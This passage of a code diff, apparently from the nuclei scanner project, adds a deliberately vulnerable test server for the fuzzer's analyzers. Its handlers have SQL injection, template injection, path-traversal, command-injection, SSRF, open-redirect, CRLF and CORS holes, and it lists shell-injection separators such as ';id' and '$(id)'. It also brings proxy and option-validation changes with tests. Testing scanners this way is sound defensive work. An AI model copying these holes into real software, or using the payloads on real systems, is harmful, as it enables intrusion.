go.opentelemetry.io/otel/trace v1.45.0/go.mod h1:qoJJA2xNMnxRrdISU/kLtfUH2wNeQbiv+jhs/CxI8bc=
|
||||
go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=
|
||||
go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os/exec"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
@@ -39,6 +40,8 @@ func GetPlaygroundServer() *PlaygroundServer {
|
||||
mux.HandleFunc("POST /user", patchUnsanitizedUserHandler)
|
||||
mux.HandleFunc("GET /blog/posts", getPostsHandler)
|
||||
|
||||
registerAnalyzerRoutes(mux)
|
||||
|
||||
handler := recoverPlaygroundRequest(logPlaygroundRequest(mux))
|
||||
return &PlaygroundServer{handler: handler}
|
||||
}
|
||||
@@ -65,6 +68,239 @@ func (s *PlaygroundServer) Close() error {
|
||||
return s.server.Close()
|
||||
}
|
||||
|
||||
// registerAnalyzerRoutes wires a dedicated, analyzer-friendly test bench used by
|
||||
// the fuzzer "analyzer" templates. Each endpoint is genuinely vulnerable but
|
||||
// responds purely in-band and deterministically (no external network egress),
|
||||
// so the corresponding analyzer's generic probes reliably trigger detection in
|
||||
// CI. The query parameter is always "q" to keep the templates uniform.
|
||||
func registerAnalyzerRoutes(mux *http.ServeMux) {
|
||||
mux.HandleFunc("GET /analyzer/sqli", analyzerSQLiHandler)
|
||||
mux.HandleFunc("GET /analyzer/ssti", analyzerSSTIHandler)
|
||||
mux.HandleFunc("GET /analyzer/lfi", analyzerLFIHandler)
|
||||
mux.HandleFunc("GET /analyzer/cmdi", analyzerCMDiHandler)
|
||||
mux.HandleFunc("GET /analyzer/ssrf", analyzerSSRFHandler)
|
||||
mux.HandleFunc("GET /analyzer/redirect", analyzerRedirectHandler)
|
||||
mux.HandleFunc("GET /analyzer/crlf", analyzerCRLFHandler)
|
||||
mux.HandleFunc("GET /analyzer/cors", analyzerCORSHandler)
|
||||
mux.HandleFunc("GET /analyzer/host-header", analyzerHostHeaderHandler)
|
||||
|
||||
// Benign counterparts: these reflect or echo input but are NOT vulnerable,
|
||||
// so the analyzers must NOT raise a finding against them (false-positive
|
||||
// guard at the CLI level).
|
||||
mux.HandleFunc("GET /analyzer/safe/reflect", analyzerSafeReflectHandler)
|
||||
mux.HandleFunc("GET /analyzer/safe/redirect", analyzerSafeRedirectHandler)
|
||||
mux.HandleFunc("GET /analyzer/safe/cors", analyzerSafeCORSHandler)
|
||||
mux.HandleFunc("GET /analyzer/safe/headers", analyzerSafeHeadersHandler)
|
||||
mux.HandleFunc("GET /analyzer/safe/host", analyzerSafeHostHandler)
|
||||
|
||||
// Non-query positions: prove the analyzers fuzz path / header / cookie / body
|
||||
// components through the real pipeline, not just query parameters.
|
||||
mux.HandleFunc("GET /analyzer/path/sqli/{id}", analyzerPathSQLiHandler)
|
||||
mux.HandleFunc("GET /analyzer/header/sqli", analyzerHeaderSQLiHandler)
|
||||
mux.HandleFunc("POST /analyzer/body/sqli", analyzerBodySQLiHandler)
|
||||
mux.HandleFunc("GET /analyzer/cookie/ssti", analyzerCookieSSTIHandler)
|
||||
}
|
||||
|
||||
// reArithmeticTemplate emulates a real template engine: it matches an arithmetic
|
||||
// multiplication wrapped in a delimiter pair (EL ${}, Jinja {{}}, #{}, *{},
|
||||
// Razor @(), ERB <%= %>, Smarty {}) and replaces the WHOLE delimited expression
|
||||
// with its product, preserving any surrounding text (e.g. the analyzer's
|
||||
// sentinels), exactly as a vulnerable engine would.
|
||||
var reArithmeticTemplate = regexp.MustCompile(`(?:\$\{|\{\{|#\{|\*\{|@\(|<%=|\{)\s*(\d+)\s*\*\s*(\d+)\s*(?:\}\}|%>|\}|\))`)
|
||||
|
||||
// analyzerCmdiSeparators are shell metacharacter sequences followed by the `id`
|
||||
// command that the cmdi analyzer injects; presence of any indicates the input
|
||||
// reached a shell.
|
||||
var analyzerCmdiSeparators = []string{";id", "|id", "||id", "&&id", "&id", "`id`", "$(id)", "\nid"}
|
||||
|
||||
// analyzerSQLiHandler is vulnerable to error-based SQLi via the real sqlite DB:
|
||||
// a quote in q breaks the query and surfaces a genuine "unrecognized token"
|
||||
// sqlite error, which the sqli_error analyzer fingerprints.
|
||||
func analyzerSQLiHandler(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query().Get("q")
|
||||
posts, err := getUnsanitizedPostsByLang(db, q)
|
||||
if err != nil {
|
||||
writeString(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, posts)
|
||||
}
|
||||
|
||||
// analyzerSSTIHandler evaluates arithmetic template expressions in q.
|
||||
func analyzerSSTIHandler(w http.ResponseWriter, r *http.Request) {
|
||||
out := reArithmeticTemplate.ReplaceAllStringFunc(r.URL.Query().Get("q"), func(m string) string {
|
||||
sub := reArithmeticTemplate.FindStringSubmatch(m)
|
||||
a, _ := strconv.Atoi(sub[1])
|
||||
b, _ := strconv.Atoi(sub[2])
|
||||
return strconv.Itoa(a * b)
|
||||
})
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(bodyTemplate, out))
|
||||
}
|
||||
|
||||
// analyzerLFIHandler returns file contents for path-traversal payloads in q.
|
||||
func analyzerLFIHandler(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query().Get("q")
|
||||
switch {
|
||||
case strings.Contains(q, "etc/passwd"):
|
||||
writeString(w, http.StatusOK, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n")
|
||||
case strings.Contains(strings.ToLower(q), "win.ini"):
|
||||
writeString(w, http.StatusOK, "; for 16-bit app support\r\n[fonts]\r\n")
|
||||
default:
|
||||
writeString(w, http.StatusOK, "file not found")
|
||||
}
|
||||
}
|
||||
|
||||
// analyzerCMDiHandler simulates a shell that concatenates q: an injected
|
||||
// separator followed by `id` yields command output.
|
||||
func analyzerCMDiHandler(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query().Get("q")
|
||||
for _, sep := range analyzerCmdiSeparators {
|
||||
if strings.Contains(q, sep) {
|
||||
writeString(w, http.StatusOK, "uid=0(root) gid=0(root) groups=0(root)")
|
||||
return
|
||||
}
|
||||
}
|
||||
writeString(w, http.StatusOK, fmt.Sprintf("ping output for %s", q))
|
||||
}
|
||||
|
||||
// analyzerSSRFHandler simulates an in-band SSRF: requesting a cloud metadata
|
||||
// endpoint returns the (mock) instance identity document. It does NOT perform a
|
||||
// real outbound request, keeping the test hermetic.
|
||||
func analyzerSSRFHandler(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query().Get("q")
|
||||
if strings.Contains(q, "169.254.169.254") || strings.Contains(q, "metadata.google.internal") {
|
||||
writeString(w, http.StatusOK, `{"accountId":"123456789012","imageId":"ami-0abcd1234ef567890","instanceId":"i-0abcd1234ef567890","region":"us-east-1"}`)
|
||||
return
|
||||
}
|
||||
writeString(w, http.StatusOK, "fetched: nothing interesting")
|
||||
}
|
||||
|
||||
// analyzerRedirectHandler reflects q straight into the Location header.
|
||||
func analyzerRedirectHandler(w http.ResponseWriter, r *http.Request) {
|
||||
http.Redirect(w, r, r.URL.Query().Get("q"), http.StatusFound)
|
||||
}
|
||||
|
||||
// analyzerCRLFHandler naively builds response headers from q, splitting on
|
||||
// newlines — a textbook response-splitting bug.
|
||||
func analyzerCRLFHandler(w http.ResponseWriter, r *http.Request) {
|
||||
for _, line := range strings.Split(r.URL.Query().Get("q"), "\n") {
|
||||
line = strings.TrimRight(line, "\r")
|
||||
idx := strings.Index(line, ": ")
|
||||
if idx <= 0 || strings.ContainsAny(line[:idx], " \t") {
|
||||
continue
|
||||
}
|
||||
name, val := line[:idx], line[idx+2:]
|
||||
if strings.EqualFold(name, "Set-Cookie") {
|
||||
w.Header().Add("Set-Cookie", val)
|
||||
} else {
|
||||
w.Header().Set(name, val)
|
||||
}
|
||||
}
|
||||
writeString(w, http.StatusOK, "ok")
|
||||
}
|
||||
|
||||
// analyzerCORSHandler reflects an arbitrary Origin and allows credentials.
|
||||
func analyzerCORSHandler(w http.ResponseWriter, r *http.Request) {
|
||||
if origin := r.Header.Get("Origin"); origin != "" {
|
||||
w.Header().Set("Access-Control-Allow-Origin", origin)
|
||||
w.Header().Set("Access-Control-Allow-Credentials", "true")
|
||||
}
|
||||
writeString(w, http.StatusOK, "ok")
|
||||
}
|
||||
|
||||
// analyzerHostHeaderHandler reflects the (attacker-controlled) X-Forwarded-Host
|
||||
// into an absolute link in the body, without performing any outbound request.
|
||||
func analyzerHostHeaderHandler(w http.ResponseWriter, r *http.Request) {
|
||||
host := r.Header.Get("X-Forwarded-Host")
|
||||
if host == "" {
|
||||
host = r.Host
|
||||
}
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(`<a href="https://%s/reset?token=abc">reset</a>`, host))
|
||||
}
|
||||
|
||||
// --- Benign handlers (must not trigger any analyzer) -----------------------
|
||||
|
||||
// analyzerSafeReflectHandler reflects q verbatim with no evaluation, no DB, no
|
||||
// command execution and no file access; it is the benign counterpart for the
|
||||
// ssti, sqli, cmdi, lfi and ssrf analyzers.
|
||||
func analyzerSafeReflectHandler(w http.ResponseWriter, r *http.Request) {
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(bodyTemplate, "you searched for: "+r.URL.Query().Get("q")))
|
||||
}
|
||||
|
||||
// analyzerSafeRedirectHandler always redirects to a fixed trusted location,
|
||||
// ignoring user input.
|
||||
func analyzerSafeRedirectHandler(w http.ResponseWriter, r *http.Request) {
|
||||
http.Redirect(w, r, "/home", http.StatusFound)
|
||||
}
|
||||
|
||||
// analyzerSafeCORSHandler only ever allows a single trusted origin.
|
||||
func analyzerSafeCORSHandler(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set("Access-Control-Allow-Origin", "https://trusted.example.com")
|
||||
writeString(w, http.StatusOK, "ok")
|
||||
}
|
||||
|
||||
// analyzerSafeHeadersHandler returns static headers and never reflects input.
|
||||
func analyzerSafeHeadersHandler(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set("X-Static", "constant")
|
||||
writeString(w, http.StatusOK, "ok")
|
||||
}
|
||||
|
||||
// analyzerSafeHostHandler always builds links from a fixed, trusted host.
|
||||
func analyzerSafeHostHandler(w http.ResponseWriter, _ *http.Request) {
|
||||
writeHTML(w, http.StatusOK, `<a href="https://app.example.com/reset?token=abc">reset</a>`)
|
||||
}
|
||||
|
||||
// --- Non-query position handlers -------------------------------------------
|
||||
|
||||
// sqliFromValue runs the value through the real sqlite query so a quote yields a
|
||||
// genuine "unrecognized token" error that the sqli_error analyzer fingerprints.
|
||||
func sqliFromValue(w http.ResponseWriter, value string) {
|
||||
posts, err := getUnsanitizedPostsByLang(db, value)
|
||||
if err != nil {
|
||||
writeString(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, posts)
|
||||
}
|
||||
|
||||
// analyzerPathSQLiHandler is error-based SQLi on a path segment ({id}).
|
||||
func analyzerPathSQLiHandler(w http.ResponseWriter, r *http.Request) {
|
||||
sqliFromValue(w, r.PathValue("id"))
|
||||
}
|
||||
|
||||
// analyzerHeaderSQLiHandler is error-based SQLi on the X-Search request header.
|
||||
func analyzerHeaderSQLiHandler(w http.ResponseWriter, r *http.Request) {
|
||||
sqliFromValue(w, r.Header.Get("X-Search"))
|
||||
}
|
||||
|
||||
// analyzerBodySQLiHandler is error-based SQLi on the JSON body "name" field.
|
||||
func analyzerBodySQLiHandler(w http.ResponseWriter, r *http.Request) {
|
||||
var payload struct {
|
||||
Name string `json:"name"`
|
||||
}
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
_ = json.Unmarshal(body, &payload)
|
||||
sqliFromValue(w, payload.Name)
|
||||
}
|
||||
|
||||
// analyzerCookieSSTIHandler evaluates arithmetic template expressions found in
|
||||
// the "lang" cookie. SSTI (not SQLi) is used here because Go's cookie value
|
||||
// sanitization strips the quotes SQLi relies on, whereas SSTI payload
|
||||
// characters ({ } * $) are cookie-legal.
|
||||
func analyzerCookieSSTIHandler(w http.ResponseWriter, r *http.Request) {
|
||||
val := "en"
|
||||
if c, err := r.Cookie("lang"); err == nil {
|
||||
val = c.Value
|
||||
}
|
||||
out := reArithmeticTemplate.ReplaceAllStringFunc(val, func(m string) string {
|
||||
sub := reArithmeticTemplate.FindStringSubmatch(m)
|
||||
a, _ := strconv.Atoi(sub[1])
|
||||
b, _ := strconv.Atoi(sub[2])
|
||||
return strconv.Itoa(a * b)
|
||||
})
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(bodyTemplate, "lang="+out))
|
||||
}
|
||||
|
||||
var bodyTemplate = `<html>
|
||||
<head>
|
||||
<title>Fuzz Playground</title>
|
||||
@@ -88,6 +324,16 @@ func indexHandler(w http.ResponseWriter, _ *http.Request) {
|
||||
<li><a href="/user/75/profile">User Profile Page SQLI (path parameter)</a></li>
|
||||
<li><a href="/user">POST on /user SQLI (body parameter)</a></li>
|
||||
<li><a href="/blog/posts">SQLI in cookie lang parameter value (eg. lang=en)</a></li>
|
||||
|
||||
<li><a href="/analyzer/sqli?q=en">Analyzer bench: SQLi (query)</a></li>
|
||||
<li><a href="/analyzer/ssti?q=test">Analyzer bench: SSTI (query)</a></li>
|
||||
<li><a href="/analyzer/lfi?q=home.txt">Analyzer bench: LFI (query)</a></li>
|
||||
<li><a href="/analyzer/cmdi?q=127.0.0.1">Analyzer bench: CMDi (query)</a></li>
|
||||
<li><a href="/analyzer/ssrf?q=https://example.com">Analyzer bench: SSRF (query)</a></li>
|
||||
<li><a href="/analyzer/redirect?q=/dashboard">Analyzer bench: Open Redirect (query)</a></li>
|
||||
<li><a href="/analyzer/crlf?q=/home">Analyzer bench: CRLF (query)</a></li>
|
||||
<li><a href="/analyzer/cors?q=x">Analyzer bench: CORS (query)</a></li>
|
||||
<li><a href="/analyzer/host-header?q=x">Analyzer bench: Host Header Injection (query)</a></li>
|
||||
|
||||
</ul>
|
||||
`))
|
||||
@@ -284,6 +530,12 @@ func writeJSON(w http.ResponseWriter, statusCode int, value interface{}) {
|
||||
_ = json.NewEncoder(w).Encode(value)
|
||||
}
|
||||
|
||||
func writeString(w http.ResponseWriter, statusCode int, value string) {
|
||||
w.Header().Set("Content-Type", "text/plain; charset=UTF-8")
|
||||
w.WriteHeader(statusCode)
|
||||
_, _ = io.WriteString(w, value)
|
||||
}
|
||||
|
||||
func recoverPlaygroundRequest(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
defer func() {
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/pkg/errors"
|
||||
"github.com/projectdiscovery/hmap/store/hybrid"
|
||||
"github.com/projectdiscovery/httpx/common/httpx"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
|
||||
@@ -68,12 +69,15 @@ func (r *Runner) initializeTemplatesHTTPInput() (*hybrid.HybridMap, error) {
|
||||
}
|
||||
|
||||
swg.Add()
|
||||
go func(input *contextargs.MetaInput) {
|
||||
go func(target *contextargs.MetaInput) {
|
||||
defer swg.Done()
|
||||
|
||||
if result := utils.ProbeURL(input.Input, httpxClient); result != "" {
|
||||
// a pinned target is probed through its ip, and each ip keeps its
|
||||
// own result, as servers of one host may serve different schemes
|
||||
ctx := contextargs.WithCustomIP(context.Background(), target)
|
||||
if result := utils.ProbeURLWithContext(ctx, target.Input, httpxClient); result != "" {
|
||||
count.Add(1)
|
||||
_ = hm.Set(input.Input, []byte(result))
|
||||
_ = hm.Set(input.ProbeKey(target.Input, target.CustomIP), []byte(result))
|
||||
}
|
||||
}(value)
|
||||
return true
|
||||
|
||||
+24
-19
@@ -39,25 +39,30 @@ func GetAuthTmplStore(opts *types.Options, catalog catalog.Catalog, execOpts *pr
|
||||
}
|
||||
tmpls = append(tmpls, data...)
|
||||
}
|
||||
opts.Templates = tmpls
|
||||
opts.Workflows = nil
|
||||
opts.RemoteTemplateDomainList = nil
|
||||
opts.TemplateURLs = nil
|
||||
opts.WorkflowURLs = nil
|
||||
opts.ExcludedTemplates = nil
|
||||
opts.Tags = nil
|
||||
opts.ExcludeTags = nil
|
||||
opts.IncludeTemplates = nil
|
||||
opts.Authors = nil
|
||||
opts.Severities = nil
|
||||
opts.ExcludeSeverities = nil
|
||||
opts.IncludeTags = nil
|
||||
opts.IncludeIds = nil
|
||||
opts.ExcludeIds = nil
|
||||
opts.Protocols = nil
|
||||
opts.ExcludeProtocols = nil
|
||||
opts.IncludeConditions = nil
|
||||
cfg := loader.NewConfig(opts, catalog, execOpts)
|
||||
// The auth store only wants the secret-file templates. Copy first so
|
||||
// this scoping cannot clear Templates, ExcludeTags, or the other filters
|
||||
// on the caller's options. The CLI already copies; the SDK passes the
|
||||
// engine options directly.
|
||||
scoped := opts.Copy()
|
||||
scoped.Templates = tmpls
|
||||
scoped.Workflows = nil
|
||||
scoped.RemoteTemplateDomainList = nil
|
||||
scoped.TemplateURLs = nil
|
||||
scoped.WorkflowURLs = nil
|
||||
scoped.ExcludedTemplates = nil
|
||||
scoped.Tags = nil
|
||||
scoped.ExcludeTags = nil
|
||||
scoped.IncludeTemplates = nil
|
||||
scoped.Authors = nil
|
||||
scoped.Severities = nil
|
||||
scoped.ExcludeSeverities = nil
|
||||
scoped.IncludeTags = nil
|
||||
scoped.IncludeIds = nil
|
||||
scoped.ExcludeIds = nil
|
||||
scoped.Protocols = nil
|
||||
scoped.ExcludeProtocols = nil
|
||||
scoped.IncludeConditions = nil
|
||||
cfg := loader.NewConfig(scoped, catalog, execOpts)
|
||||
cfg.StoreId = loader.AuthStoreId
|
||||
store, err := loader.New(cfg)
|
||||
if err != nil {
|
||||
|
||||
@@ -20,6 +20,7 @@ import (
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/server/proxy"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/installer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine"
|
||||
@@ -149,7 +150,7 @@ func ParseOptions(options *types.Options) {
|
||||
}
|
||||
}
|
||||
|
||||
// validateOptions validates the configuration options passed
|
||||
// ValidateOptions validates the configuration options passed
|
||||
func ValidateOptions(options *types.Options) error {
|
||||
if err := validateOptions.Struct(options); err != nil {
|
||||
if _, ok := err.(*validator.InvalidValidationError); ok {
|
||||
@@ -175,6 +176,11 @@ func ValidateOptions(options *types.Options) error {
|
||||
if options.ShouldFollowHTTPRedirects() && options.DisableRedirects {
|
||||
return errors.New("both follow redirects and disable redirects specified")
|
||||
}
|
||||
switch options.UpdateTemplatesChannel {
|
||||
case "", installer.TemplatesChannelStable, installer.TemplatesChannelLatest:
|
||||
default:
|
||||
return fmt.Errorf("invalid templates update channel %q, must be %q or %q", options.UpdateTemplatesChannel, installer.TemplatesChannelStable, installer.TemplatesChannelLatest)
|
||||
}
|
||||
// loading the proxy server list from file or cli and test the connectivity
|
||||
if err := loadProxyServers(options); err != nil {
|
||||
return err
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/installer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
@@ -60,6 +61,15 @@ func TestParseHeadlessOptionalArguments(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateOptionsUpdateTemplatesChannel checks that only known templates
|
||||
// update channels are accepted.
|
||||
func TestValidateOptionsUpdateTemplatesChannel(t *testing.T) {
|
||||
for _, channel := range []string{"", installer.TemplatesChannelStable, installer.TemplatesChannelLatest} {
|
||||
require.NoError(t, ValidateOptions(&types.Options{UpdateTemplatesChannel: channel}), "channel %q", channel)
|
||||
}
|
||||
require.ErrorContains(t, ValidateOptions(&types.Options{UpdateTemplatesChannel: "nightly"}), `invalid templates update channel "nightly"`)
|
||||
}
|
||||
|
||||
func TestReadsTargetsFromStdin(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
|
||||
@@ -14,9 +14,25 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
HTTP_PROXY_ENV = "HTTP_PROXY"
|
||||
HTTP_PROXY_ENV = "HTTP_PROXY"
|
||||
HTTPS_PROXY_ENV = "HTTPS_PROXY"
|
||||
)
|
||||
|
||||
var proxyEnvVars = []string{
|
||||
"HTTP_PROXY",
|
||||
"HTTPS_PROXY",
|
||||
"http_proxy",
|
||||
"https_proxy",
|
||||
"ALL_PROXY",
|
||||
"all_proxy",
|
||||
}
|
||||
|
||||
func setProxyEnv(proxyURL string) {
|
||||
for _, env := range proxyEnvVars {
|
||||
_ = os.Setenv(env, proxyURL)
|
||||
}
|
||||
}
|
||||
|
||||
// loadProxyServers load list of proxy servers from file or comma separated
|
||||
func loadProxyServers(options *types.Options) error {
|
||||
if len(options.Proxy) == 0 {
|
||||
@@ -53,15 +69,19 @@ func loadProxyServers(options *types.Options) error {
|
||||
return errkit.Wrapf(err, "failed to parse proxy got %v", err)
|
||||
}
|
||||
if options.ProxyInternal {
|
||||
_ = os.Setenv(HTTP_PROXY_ENV, proxyURL.String())
|
||||
setProxyEnv(proxyURL.String())
|
||||
}
|
||||
switch proxyURL.Scheme {
|
||||
case proxyutils.HTTP, proxyutils.HTTPS:
|
||||
options.Logger.Verbose().Msgf("Using %s as proxy server", proxyURL.String())
|
||||
if options.Logger != nil {
|
||||
options.Logger.Verbose().Msgf("Using %s as proxy server", proxyURL.String())
|
||||
}
|
||||
options.AliveHttpProxy = proxyURL.String()
|
||||
case proxyutils.SOCKS5:
|
||||
options.AliveSocksProxy = proxyURL.String()
|
||||
options.Logger.Verbose().Msgf("Using %s as socket proxy server", proxyURL.String())
|
||||
if options.Logger != nil {
|
||||
options.Logger.Verbose().Msgf("Using %s as socket proxy server", proxyURL.String())
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -1,8 +1,14 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
@@ -14,3 +20,78 @@ func TestValidateReplayProxy(t *testing.T) {
|
||||
require.Error(t, validateReplayProxy(invalid), invalid)
|
||||
}
|
||||
}
|
||||
|
||||
type envState struct {
|
||||
val string
|
||||
set bool
|
||||
}
|
||||
|
||||
func saveAndRestoreProxyEnv(t *testing.T) {
|
||||
t.Helper()
|
||||
original := make(map[string]envState, len(proxyEnvVars))
|
||||
for _, env := range proxyEnvVars {
|
||||
val, set := os.LookupEnv(env)
|
||||
original[env] = envState{val: val, set: set}
|
||||
_ = os.Unsetenv(env)
|
||||
}
|
||||
|
||||
t.Cleanup(func() {
|
||||
for env, state := range original {
|
||||
if state.set {
|
||||
_ = os.Setenv(env, state.val)
|
||||
} else {
|
||||
_ = os.Unsetenv(env)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestSetProxyEnv(t *testing.T) {
|
||||
saveAndRestoreProxyEnv(t)
|
||||
|
||||
testProxy := "http://127.0.0.1:8080"
|
||||
setProxyEnv(testProxy)
|
||||
|
||||
for _, env := range proxyEnvVars {
|
||||
require.Equal(t, testProxy, os.Getenv(env), "expected %s to be set", env)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadProxyServers_ProxyInternal(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
t.Run("proxy internal enabled sets all env vars", func(t *testing.T) {
|
||||
saveAndRestoreProxyEnv(t)
|
||||
|
||||
options := &types.Options{
|
||||
Proxy: goflags.StringSlice{server.URL},
|
||||
ProxyInternal: true,
|
||||
Timeout: 5,
|
||||
Logger: &gologger.Logger{},
|
||||
}
|
||||
err := loadProxyServers(options)
|
||||
require.NoError(t, err)
|
||||
for _, env := range proxyEnvVars {
|
||||
require.Equal(t, server.URL, os.Getenv(env), "expected %s to be set", env)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("proxy internal disabled does not set env vars", func(t *testing.T) {
|
||||
saveAndRestoreProxyEnv(t)
|
||||
|
||||
options := &types.Options{
|
||||
Proxy: goflags.StringSlice{server.URL},
|
||||
ProxyInternal: false,
|
||||
Timeout: 5,
|
||||
Logger: &gologger.Logger{},
|
||||
}
|
||||
err := loadProxyServers(options)
|
||||
require.NoError(t, err)
|
||||
for _, env := range proxyEnvVars {
|
||||
require.Empty(t, os.Getenv(env), "expected %s not to be set", env)
|
||||
}
|
||||
})
|
||||
}
|
||||
+49
-11
@@ -3,6 +3,8 @@ package runner
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
@@ -86,7 +88,7 @@ var (
|
||||
// Runner is a client for running the enumeration process.
|
||||
type Runner struct {
|
||||
output output.Writer
|
||||
interactsh *interactsh.Client
|
||||
interactsh interactsh.IClient
|
||||
options *types.Options
|
||||
projectFile *projectfile.ProjectFile
|
||||
catalog catalog.Catalog
|
||||
@@ -161,7 +163,9 @@ func New(options *types.Options) (*Runner, error) {
|
||||
tm := &installer.TemplateManager{
|
||||
CustomTemplates: ctm,
|
||||
DisablePublicTemplates: options.PublicTemplateDisableDownload,
|
||||
Channel: options.UpdateTemplatesChannel,
|
||||
}
|
||||
templatesVersion := config.DefaultConfig.TemplateVersion
|
||||
if err := tm.FreshInstallIfNotExists(); err != nil {
|
||||
runner.Logger.Warning().Msgf("Failed to install nuclei templates: %s\n", err)
|
||||
}
|
||||
@@ -178,7 +182,12 @@ func New(options *types.Options) (*Runner, error) {
|
||||
if options.UpdateTemplates {
|
||||
// we automatically check for updates unless explicitly disabled
|
||||
// this print statement is only to inform the user that there are no updates
|
||||
if !config.DefaultConfig.NeedsTemplateUpdate() {
|
||||
noUpdates := !config.DefaultConfig.NeedsTemplateUpdate()
|
||||
if tm.Channel == installer.TemplatesChannelLatest {
|
||||
// the latest channel updates without a new release
|
||||
noUpdates = config.DefaultConfig.TemplateVersion == templatesVersion
|
||||
}
|
||||
if noUpdates {
|
||||
runner.Logger.Info().Msgf("No new updates found for nuclei templates")
|
||||
}
|
||||
|
||||
@@ -223,7 +232,7 @@ func New(options *types.Options) (*Runner, error) {
|
||||
runner.catalog = disk.NewCatalog(config.DefaultConfig.TemplatesDirectory)
|
||||
|
||||
var httpclient *retryablehttp.Client
|
||||
if options.ProxyInternal && options.AliveHttpProxy != "" || options.AliveSocksProxy != "" {
|
||||
if options.ProxyInternal && (options.AliveHttpProxy != "" || options.AliveSocksProxy != "") {
|
||||
var err error
|
||||
|
||||
httpclient, err = httpclientpool.Get(options, &httpclientpool.Configuration{}, "")
|
||||
@@ -422,13 +431,7 @@ func New(options *types.Options) (*Runner, error) {
|
||||
opts.HTTPClient = httpclient
|
||||
}
|
||||
if opts.HTTPClient == nil {
|
||||
httpOpts := retryablehttp.DefaultOptionsSingle
|
||||
httpOpts.Timeout = 20 * time.Second // for stability reasons
|
||||
if options.Timeout > 20 {
|
||||
httpOpts.Timeout = time.Duration(options.Timeout) * time.Second
|
||||
}
|
||||
// in testing it was found most of times when interactsh failed, it was due to failure in registering /polling requests
|
||||
opts.HTTPClient = retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)
|
||||
opts.HTTPClient = newInteractshHTTPClient(options)
|
||||
}
|
||||
|
||||
interactshClient, err := interactsh.New(opts)
|
||||
@@ -750,6 +753,11 @@ func (r *Runner) RunEnumeration() error {
|
||||
}
|
||||
loaderConfig.TargetFilter = profiles.LoadFilter()
|
||||
}
|
||||
if r.hasPinnedTargets() {
|
||||
if err := pinnedTargetConflict(r.options); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if (!strings.EqualFold(r.options.InputFileMode, "list") || r.options.DAST) && !r.options.OfflineHTTP {
|
||||
// if input type is not list (implicitly enable fuzzing), unless passive/offlinehttp
|
||||
r.options.DAST = true
|
||||
@@ -794,6 +802,11 @@ func (r *Runner) RunEnumeration() error {
|
||||
if err := store.Load(); err != nil {
|
||||
return err
|
||||
}
|
||||
// Each template is parsed once per scan, so the compiled cache only holds
|
||||
// pre-compilation snapshots that nothing reads after loading.
|
||||
if parser, ok := r.parser.(*templates.Parser); ok {
|
||||
